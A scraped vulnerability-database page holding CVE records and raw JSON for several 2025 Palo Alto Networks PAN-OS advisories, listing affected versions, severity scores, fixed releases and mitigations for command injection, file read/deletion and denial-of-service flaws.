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"value": "\u003ctable class=\"tbl\"\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCloud NGFW\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 12.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e11.2.0 through 11.2.7\u003c/td\u003e\n \u003ctd\u003eUpgrade to 11.2.8 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e11.1.0 through 11.1.11\u003c/td\u003e\n \u003ctd\u003eUpgrade to 11.1.12 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e10.2.0 through 10.2.16\u003c/td\u003e\n \u003ctd\u003eUpgrade to 10.2.17 or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
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}
],
"source": {
"defect": [
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"PAN-286164"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-10-08T16:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Session Token Disclosure Vulnerability",
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CVE-2025-4231 (GCVE-0-2025-4231)
Vulnerability from cvelistv5 – Published: 2025-06-12 23:27 – Updated: 2026-02-26 17:50
VLAI?
Title
PAN-OS: Authenticated Admin Command Injection Vulnerability in the Management Web Interface
Summary
A command injection vulnerability in Palo Alto Networks PAN-OS® enables an authenticated administrative user to perform actions as the root user.
The attacker must have network access to the management web interface and successfully authenticate to exploit this issue.
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
Severity ?
CWE
- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All , < 6.3.3
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-06-11 16:00
Credits
spcnvdr
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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ecritical deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview more information about how to secure management access to your Palo Alto Networks firewalls in these documents:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks LIVEcommunity article: \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks official and detailed technical documentation: \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e"
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CVE-2025-0130 (GCVE-0-2025-0130)
Vulnerability from cvelistv5 – Published: 2025-05-14 17:37 – Updated: 2025-05-15 13:49
VLAI?
Title
PAN-OS: Firewall Denial-of-Service (DoS) in the Web-Proxy Feature via a Burst of Maliciously Crafted Packets
Summary
A missing exception check in Palo Alto Networks PAN-OS® software with the web proxy feature enabled allows an unauthenticated attacker to send a burst of maliciously crafted packets that causes the firewall to become unresponsive and eventually reboot. Repeated successful attempts to trigger this condition will cause the firewall to enter maintenance mode.
This issue does not affect Cloud NGFW or Prisma Access.
Severity ?
CWE
- CWE-754 - Improper Check for Unusual or Exceptional Conditions
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-05-14 16:00
Credits
Jari Pietila of Palo Alto Networks
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CVE-2025-0124 (GCVE-0-2025-0124)
Vulnerability from cvelistv5 – Published: 2025-04-11 01:55 – Updated: 2025-04-11 16:02
VLAI?
Title
PAN-OS: Authenticated File Deletion Vulnerability on the Management Web Interface
Summary
An authenticated file deletion vulnerability in the Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to the management web interface to delete certain files as the “nobody” user; this includes limited logs and configuration files but does not include system files.
The attacker must have network access to the management web interface to exploit this issue. You greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended critical deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue affects Cloud NGFW. However, this issue does not affect Prisma® Access software.
Severity ?
CWE
- CWE-73 - External Control of File Name or Path
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Affected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-04-09 16:00
Credits
VISA, Inc.
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"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "HIGH",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This ensures that attacks can succeed only if they obtain privileged access through those specified internal IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-11T01:55:33.563Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0124"
}
],
"solutions": [
{
"lang": "eng",
"supportingMedia": [
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.1 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.4\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.5 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0\u003c/td\u003e\u003ctd\u003e11.0.0 through 11.0.5\u003c/td\u003e\u003ctd\u003eUpgrade to 11.0.6 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h11 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll other older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003ePAN-OS 11.0 has reached EoL. We listed it here for completeness because a patch for PAN-OS 11.0 was released before it reached EoL. If you are still using any vulnerable EoL versions, we strongly recommend that you upgrade to a supported fixed PAN-OS version.\u003cbr\u003e\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 11.2\n11.2.0\nUpgrade to 11.2.1 or laterPAN-OS 11.111.1.0 through 11.1.4Upgrade to 11.1.5 or laterPAN-OS 11.011.0.0 through 11.0.5Upgrade to 11.0.6 or laterPAN-OS 10.210.2.0 through 10.2.9Upgrade to 10.2.10 or laterPAN-OS 10.110.1.0 through 10.1.14Upgrade to 10.1.14-h11 or laterAll other older\nunsupported\nPAN-OS versions\n\u00a0Upgrade to a supported fixed version\u00a0PAN-OS 11.0 has reached EoL. We listed it here for completeness because a patch for PAN-OS 11.0 was released before it reached EoL. If you are still using any vulnerable EoL versions, we strongly recommend that you upgrade to a supported fixed PAN-OS version."
}
],
"source": {
"defect": [
"PAN-254188"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-04-09T16:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authenticated File Deletion Vulnerability on the Management Web Interface",
"workarounds": [
{
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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e"
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n\n\n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
}
],
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CVE-2025-0114 (GCVE-0-2025-0114)
Vulnerability from cvelistv5 – Published: 2025-03-12 18:20 – Updated: 2025-03-12 18:34
VLAI?
Title
PAN-OS: Denial of Service (DoS) in GlobalProtect
Summary
A Denial of Service (DoS) vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software enables an unauthenticated attacker to render the service unavailable by sending a large number of specially crafted packets over a period of time. This issue affects both the GlobalProtect portal and the GlobalProtect gateway.
This issue does not apply to Cloud NGFWs or Prisma Access software.
Severity ?
CWE
- CWE-400 - Uncontrolled Resource Consumption
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | PAN-OS |
Unaffected:
11.2.0
(custom)
Unaffected: 11.1.0 (custom) Affected: 11.0.0 , < 11.0.2 (custom) Affected: 10.2.0 , < 10.2.5 (custom) Affected: 10.1.0 , < 10.1.14-h11 (custom) cpe:2.3:o:paloaltonetworks:pan-os:11.0.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:11.0.0:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.4:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h10:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h9:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h8:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h7:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h5:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h3:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h1:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.13:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.12:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.11:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.10:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.9:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.8:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.7:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.6:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.5:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.4:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.3:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.2:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.0:*:*:*:*:*:*:* |
||||||||||||
|
||||||||||||||
Date Public ?
2025-03-12 16:00
Credits
an external reporter
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"assignerShortName": "palo_alto",
"cveId": "CVE-2025-0114",
"datePublished": "2025-03-12T18:20:05.608Z",
"dateReserved": "2024-12-20T23:23:15.900Z",
"dateUpdated": "2025-03-12T18:34:48.122Z",
"state": "PUBLISHED"
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CVE-2025-0111 (GCVE-0-2025-0111)
Vulnerability from cvelistv5 – Published: 2025-02-12 20:58 – Updated: 2026-02-26 19:08
VLAI?
Title
PAN-OS: Authenticated File Read Vulnerability in the Management Web Interface
Summary
An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user.
You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue does not affect Cloud NGFW or Prisma Access software.
Severity ?
CWE
- CWE-73 - External Control of File Name or Path
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-02-12 17:00
Credits
Émilio Gonzalez
Maxime Gaudreault
our Deep Product Security Research Team
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"defaultStatus": "unaffected",
"product": "PAN-OS",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "10.1.14-h9",
"status": "unaffected"
}
],
"lessThan": "10.1.14-h9",
"status": "affected",
"version": "10.1.0",
"versionType": "custom"
},
{
"changes": [
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"at": "10.2.7-h24",
"status": "unaffected"
},
{
"at": "10.2.8-h21",
"status": "unaffected"
},
{
"at": "10.2.9-h21",
"status": "unaffected"
},
{
"at": "10.2.12-h6",
"status": "unaffected"
},
{
"at": "10.2.13-h3",
"status": "unaffected"
},
{
"at": "10.2.10-h14",
"status": "unaffected"
},
{
"at": "10.2.11-h12",
"status": "unaffected"
}
],
"lessThan": "10.2.7-h24",
"status": "affected",
"version": "10.2.0",
"versionType": "custom"
},
{
"changes": [
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"status": "unaffected"
},
{
"at": "11.1.2-h18",
"status": "unaffected"
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],
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"status": "affected",
"version": "11.1.0",
"versionType": "custom"
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{
"changes": [
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"at": "11.2.4-h4",
"status": "unaffected"
}
],
"lessThan": "11.2.4-h4",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
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]
},
{
"defaultStatus": "unaffected",
"product": "Prisma Access",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003cp\u003eThe risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\u003c/p\u003e\u003col\u003e\u003cli\u003eDirectly; or\u003c/li\u003e\u003cli\u003eThrough a dataplane interface that includes a management interface profile.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\u003c/p\u003e\u003cp\u003eUse the following steps to identify your recently detected devices in our internet scans.\u003c/p\u003e\u003col\u003e\u003cli\u003eTo find any assets that require remediation action, visit the Assets section of the Customer Support Portal at \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/\"\u003ehttps://support.paloaltonetworks.com\u003c/a\u003e\u0026nbsp;(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/li\u003e\u003cli\u003eReview the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443).\u003c/p\u003e"
}
],
"value": "The risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\n\n * Directly; or\n * Through a dataplane interface that includes a management interface profile.\nYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\n\nUse the following steps to identify your recently detected devices in our internet scans.\n\n * To find any assets that require remediation action, visit the Assets section of the Customer Support Portal at https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n * Review the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\nGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443)."
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "\u00c9milio Gonzalez"
},
{
"lang": "en",
"type": "finder",
"value": "Maxime Gaudreault"
},
{
"lang": "en",
"type": "finder",
"value": "our Deep Product Security Research Team"
}
],
"datePublic": "2025-02-12T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003cp\u003eAn authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the \u201cnobody\u201d user.\u003c/p\u003e\u003cp\u003eYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e.\u003c/p\u003e\u003cb\u003e\u003cp\u003e\u003c/p\u003e\u003c/b\u003e\u003cp\u003eThis issue does not affect Cloud NGFW or Prisma Access software.\u003c/p\u003e\u003cb\u003e\u003c/b\u003e"
}
],
"value": "An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the \u201cnobody\u201d user.\n\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
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"value": "\u003cp\u003ePalo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces.\u003c/p\u003e"
}
],
"value": "Palo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces."
}
],
"impacts": [
{
"capecId": "CAPEC-165",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-165 File Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"providerUrgency": "RED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You can greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This will ensure that attacks can succeed only if they obtain privileged access through those specified IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-19T23:50:51.121Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0111"
}
],
"solutions": [
{
"lang": "eng",
"supportingMedia": [
{
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h9 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.13\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.7\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h24 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.8\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.8-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.9-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.10\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h14 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.11\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.11-h12 or 10.2.13-h3 or later 